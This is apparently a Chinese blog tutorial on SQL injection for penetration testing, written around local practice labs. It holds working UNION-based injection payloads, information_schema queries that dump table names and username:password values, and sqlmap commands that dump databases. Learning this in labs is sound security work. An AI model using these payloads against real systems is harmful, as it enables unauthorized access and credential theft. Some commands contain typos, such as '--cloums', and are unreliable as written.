渗透测试SQL注入

SQL注入漏洞

    SQL注入攻击是渗透测试者对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

网站与数据库的不解之缘

   网站数据库,就是动态网站存放网站数据的空间。也称数据库空间。 现大多网站都是由ASP、PHP开发的动态网站,网站数据是有专门的一个数据库来存放。网站数据可以通过网站后台,直接发布到网站数据库,网站则把这些数据进行调用。

 数据库概念

 数据库介绍

- 是用户存放数据、访问数据、操作数据的存储仓库,用户的各种数据被有组织的存放在数据库中。可以随时被有权限的用户查询、统计、添加、删除、和修改。

- 是长期存储在计算机内的,有组织、可共享的数据集合。数据库系统是由普通的文件系统发展而来的。

- 数据库系统具有较高的数据独立性,即不依赖于特定的数据库应用程序;

- 数据库系统的数据冗余小,可以节省数据的存储空间;

- 另外数据库系统还很容易实现多个用户的数据共享

常见的数据库

目前比较流行的数据库有以下几种:

- Oracle

- SQLite

- SQL Server

- Mysql

- Nosql

- ACCESS

- mongodb

- PostgreSQL

Mysql数据库安装

 下载PHPStudy集成环境即可,下载地址:Windows版phpstudy下载 - 小皮面板(phpstudy)icon-default.png?t=N7T8https://www.xp.cn/download.html

Mysql数据库连接

 启动mysql数据库后,我们先安装靶场,安装时靶场会将自行创建初始数据库到我们的Mysql中靶场名称:   sqli-labs    pikachu

注意事项:

•开启网站目录索引

•php版本选择5.X

•填写mysql密码,默认为root

•添加Mysql到环境变量中:D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

连接mysql

mysql -u root -p # 登陆本地数据库

mysql -u root -p -h 127.0.0.1 -P 3306 # 登陆指定ip、端口数据库,可用于远程登陆

常用的SQL语句

 MySQL之增删改查

 显示所有数据库 show databases;

选择指定数据库 use 数据库名;

查询所有表名 show tables

 插入数据

insert into 表名 values(值1, 值2, ......);

insert into table_name (列1, 列2,...) VALUES (值1, 值2,....); # 插入一条语句

insert into table_name (列1, 列2,...) VALUES (值1, 值2,....),(值1, 值2,....); # 同时插入多条语句

查询表中数据 

select * from 表名; # 查询表中所有内容

select name from users; # 查询 users 表中 name 值;

select * from users where age条件语句,可用 "=" ">" "=" "可以使用 and or指定多个条件select * from users limit 1,2; # limit 第一个参数是指定开始位置,第二个参数是个数

删除数据

delete from 表名 [WHERE Clause]; # 删除指定条件的语句

delect from 表名; # 删除所有数据

TRUNCATE 表名; # 删除所有数据,保留表的结构,重新创建表

更新数据

update 表名 SET 字段1=new-value1, 字段2=new-value2 [WHERE Clause]; # 指定条件更新语句

SQL注入原理

攻击者将恶意的SQL代码拼接到网站本身的SQL语句中执行

简单来说就是,我们能够让对方的数据库执行我们想让它执行的东西,变相的控制了目标的数据库权限

 

 联合查询注入

联合查询是一种SQL语法,能够同时执行两条select语句,现在我们已经发现了能够执行sql语句的漏洞,我们只要执行我们想要的SQL语句就可以了

联合查询语法:select * from users where id=1 union select email_id,2,3 from emails where id = 1;

构造的攻击代码:

1. -1' union select 1,2,3 from emails where id = 1--+

2. -1' union select 1,email_id,3 from emails where id = 1--+

SQL注入流程

1.寻找注入点

得到目标网站的一般信息和技术分析信息之后,就要寻找注入点和测试注入点,这些点位都是与数据库有交互的地方

常用注入点在哪里?

我们一般在三个地方,寻找注入点

1. 表单中的输入参数

2. URL中的参数

3. Cookie或header头中其它参数

用户信息、排名公布、文章展示、评论、搜索框、登陆框、cookie(session持久化需要存储在数据库中)

2.测试注入点&&判断闭合符号

常用的测试符号

- 单引号 '

- 双引号 "

- 无符号(直接拼接)

- 圆括号 ()

这些符号通常是服务器后台代码中用来包裹用户输入变量的字符,当插入正确的闭合字符时,会破坏原有的sql语句;

根据报错信息判断闭合符号

输入常用闭合符号使页面抛出sql语法错误的报错信息,根据报错信息可以发现闭合符号

3.注入sql语句

找到注入点以后,我们就可以执行相应的sql语句,来获取数据库中的信息UNION 联合查询注入

order by 语句判断列数

•二分法查找列数:先 order by 一个比较大的数字m,若报错再取其中位数 n 继续 order by, 若正常说明列数在 [n, m) 之间, 再取 n , m 之间的中位数 order by 如此反复多次,即可获取列数

3.注入sql语句

构造恶意代码的模板

http://127.0.0.1/sqli-labs-master/Less-1/?id=9999' union select 1,(select xxxxxx),3--+

查询数据库内容常用语句

1.暴库:select group_concat(schema_name) from information_schema.schemata;

2.暴表1:select group_concat(table_name) from information_schema.tables where table_schema='security'; 加引号 暴表2:select table_name from information_schema.tables where table_schema='security' limit 3,1; 加引号

3.暴字段1:select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; 加引号

暴字段2:select column_name from information_schema.columns where table_name='users' and

table_schema='security' limit 1,1;

4.暴字段值:select group_concat(username,0x3a,password) from security.users; 不加引号

SQLMAP

sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令

sqlmap基本使用

1.检测注入点

检测是否存在sql注入漏洞,注意get型注入提交的url中要有含义参数命令:python sqlmap.py -u http://www.sqli.com/Less-1/?id=1

2.暴库

获取当前库名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 --current-db

3.暴表

获取所有表名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security --tables

 

4.暴字段

获取所有字段名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users --cloums

5.暴数据

获取 security 库中 users 表中所有数据内容: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users --dump

# 获取指定字段数据内容

python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users -C password,username --dump

  • 30
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值